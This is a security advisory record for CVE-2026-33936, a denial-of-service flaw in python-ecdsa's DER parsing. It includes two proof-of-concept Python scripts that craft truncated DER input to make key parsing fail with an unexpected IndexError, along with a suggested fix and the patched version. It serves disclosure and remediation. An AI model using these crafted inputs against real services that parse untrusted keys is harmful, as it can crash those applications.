{"id":"CVE-2026-33936","aliases":["GHSA-9f5j-8jwj-x28g","PYSEC-2026-2467"],"url":"https://o3.security/vulnerability/CVE-2026-33936","summary":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","details":"## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -> 4096 bytes\n# Actual body: only 3 bytes -> truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L >= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible <= 10:\n            continue\n\n        # Claim more bytes than exist -> truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)","published":"2026-03-27T22:08:22.868Z","modified":"2026-10-28T02:31:07.831339072Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":{"score":0.00476,"percentile":0.40112,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"ecdsa","fixedVersion":"0.19.2"}],"fix":{"url":"https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3","label":"tlsfuzzer/python-ecdsa@bd66899"},"references":[{"type":"WEB","url":"https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33936.json"},{"type":"ADVISORY","url":"https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33936"},{"type":"FIX","url":"https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3"},{"type":"PACKAGE","url":"https://github.com/tlsfuzzer/python-ecdsa"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:07.831339072Z"}}